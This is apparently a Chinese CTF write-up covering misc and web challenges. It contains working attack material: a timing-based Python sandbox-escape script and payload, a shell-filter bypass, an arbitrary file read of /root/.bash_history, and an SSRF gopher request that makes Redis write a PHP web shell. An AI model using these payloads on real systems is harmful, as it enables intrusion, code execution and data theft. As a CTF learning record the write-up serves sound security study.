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Misc

真假补丁

从流量中导出一个自解压程序，解压后得到补丁检测.exe与补丁修复.exe，先传个云沙箱，没什么毒，虚拟机跑一下

本想大致逆一下看看逻辑，发现是nuitka，反编译一大堆，不看了，先把程序跑起来，装个python3.8

行，得是admin用户，不然路径不对，切换用户后然后再次运行

补丁检测.exe就检测一下，和题没什么关系

补丁修复.exe发现缺少requests和pycryptodome，合理猜测加密了什么，访问了什么

再次运行，好，不缺库了，缺文件

算是正常运行了，只是请求不成功，再看流量包，发现POST /data.php，同时携带了一串值

d7DxBWeC1sSz5LY3colz2jpYCYgRdwfNFKcy1LIs/5RCocrzCD7bN9Do95e8AJvT+xp5YgHNrilph3JfBZenoUzY5saQYer85vqow1reJBsR4Kv2dDNdlXrUFe8blY7t

结合配环境时装的两个包，结合题目名，合理构想这个程序的流程，读取admin桌面的密码，然后使用pycryptodome进行加密，最后requests发起请求；逻辑很清楚了，逆向不现实（对我来说，说不定逆向跌随便杀），那就misc一点儿，直接把加密过程截下来，盲猜是AES-CBC，修改安装的包源码

跑一下试试，很成功啊，发现在AES加密前进行了base64，同时得到了key与iv，mode=2，即为CBC模式，浅拿一个一血

key: 324dd63a6365ca7729c8f85b6e479834
iv: ffe01db6b79092b8

两极反转

两极反转，黑白不分
奇变偶不变，横变竖不变
(PS:或许你要非常熟悉二维码的结构！

字面意思，反转黑白，奇数行反偶数行不反，涉及定位符的行不翻

from PIL import Image
import pyzbar.pyzbar as pyzbar

image = "8E2A248B-0EE8-42b2-B19B-C6A9CE0D47F8.png"
img = Image.open(image)
img = img.convert("RGB")
img = img.resize((29,29),Image.NEAREST)
for j in range(8,20,2):
    for i in range(29):
        tmp = img.getpixel((i,j))
        if(tmp == (0,0,0)):
            img.putpixel((i,j),(255,255,255))
        else:
            img.putpixel((i,j),(0,0,0))
img = img.resize((726,726),Image.NEAREST)
img.show()
barcodes = pyzbar.decode(img)
print(barcodes)
for barcode in barcodes:
    barcodeDATA = barcode.data.decode("utf-8")
    print(barcodeDATA)

What_CAN_I_SAY

空白爷的题，但是出大问题，builtins没删掉，各种非

safebuiltins_dict={x:y for x,y in dict(vars(__builtins__)).items() if x[0] not in "_-abcdefghijklmnopqrstuvwxyz"}
del __builtins__
try:exec(code,safebuiltins_dict,{})
except:pass

没什么回显，但我就想RCE，打个盲注拿结果

from pwn import *
from time import time

p = '{}abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
a = b"__import__('os').popen('cat /home/ctf/flag*').read()"
a = f'eval(bytes({str(list(a)).replace(" ","")}))'
template = f"""
a = {a}
if a[&&] == chr($$):
    eval(bytes([101,118,97,108,40,34,95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,115,121,115,116,101,109,40,39,115,108,101,101,112,32,50,39,41,34,41]))
what.can.i.say
<EOF>
"""
context.log_level = 'error'
for index in range(1000):
    for i in p:
        s = template.replace("&&", str(index))
        s = s.replace("$$", str(ord(i)))
        r = remote("pwn-32a2755c56.challenge.xctf.org.cn", 9999, ssl=True)
        recv = r.recvuntil(b">>>").decode()
        r.sendline(s.encode())
        a = time()
        r.recvuntil(b"?")
        b = time()
        r.close()
        if b - a > 1:
            print(i,end="")
            break

假设builtins被预期删掉了，从作者那偷个wp来，这个payload非常极限，就差两三个字符

先这样，在那样，然后就好了

try:what=1;what.can.i.say
except:
 try:().classImroIsubclassesIinitIglobalsIbuiltinsIsysItropmiIrunsboxIopenIevalI5f2e7b7d2f27
 except Exception as a:a=a.name;I=a[5];c,m,s,i,g,t,y,p,r,f,v,h=a.split(I);u,d,z,x,l,q=a.encode().fromhex(h).decode();n=u*2;p=p[::-1]
try:(z+I+d+n+c+n+d+n+m+n+d+y+x).format(I=[])
except Exception as e:o=e.obj[1]
try:(z+I+d+n+s+n+d+y+x).format(I=o)
except Exception as e:o=e.obj()[140]
try:(z+I+d+n+i+n+d+n+g+n+d+y+x).format(I=o)
except Exception as e:b=e.obj[n+t+n];y=b[n+p+n](y);r=b[v](q+b[f](r+l+u+r[:3]+u).read().split(q)[1]+q);y.stdout.write(r);y.stderr.write(r)

主体思想是通过Exception.name获取字符串，通过str.format调用属性获取sys.stdout来达成输出flag的条件
又学到了新姿势（隔了这么久应该可以发了吧（￣︶￣）↗

Web

Easyweb

index.php

<?php
if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && $_GET['id'] == 1) 
{
        echo 'welcome,admin';
        $_SESSION['admin'] = True;
} 
else 
{
    die('flag?');
}
?>
<?php
if ($_SESSION['admin']) 
{
if(isset($_POST['code']))
{
   if(preg_match("/(ls|c|a|t| |f|i|n|d')/", $_POST['code'])==1)
       echo 'no!';
   elseif(preg_match("/[@#%^&*()|\/?><']/",$_POST['code'])==1)
       echo 'no!';
else
       system($_POST['code']);
}
}
?>

/?id=1.0绕过第一段，l\s绕过匹配

访问/718g

where

提供了个任意文件读的接口/look?file=/app/app.py

from flask import Flask,Response, request
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    return "flag被我藏起来了,/look一下file看看呢"
@app.route('/look', methods=['GET', 'POST'])
def readfile():
    if request.values.get('file'):
        file = request.values.get('file')
        f= open(file,encoding='utf-8')
        content=f.read() 
        f.close()
        if 'flag' in content:
            return  "打卡下班"+content
        else:
            return  "抓紧找，着急下班"+content
   
    return "找找看，我着急下班"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

翻翻常见的目录，在/root/.bash_history得到flag

tantanta

file://任意文件读，aaaabbb.php

<?php
error_reporting(0);
// error_reporting(E_ALL & ~E_WARNING);
// highlight_file(__FILE__);
$url=$_POST['data'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

读取/proc/net/tcp查看端口状态，6379 redis

gopher打redis写马

POST /aaabbb.php HTTP/1.1
Host: host
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://ip:port/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 433

data=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

Misc

真假补丁

两极反转

What_CAN_I_SAY

Web

Easyweb

where

tantanta

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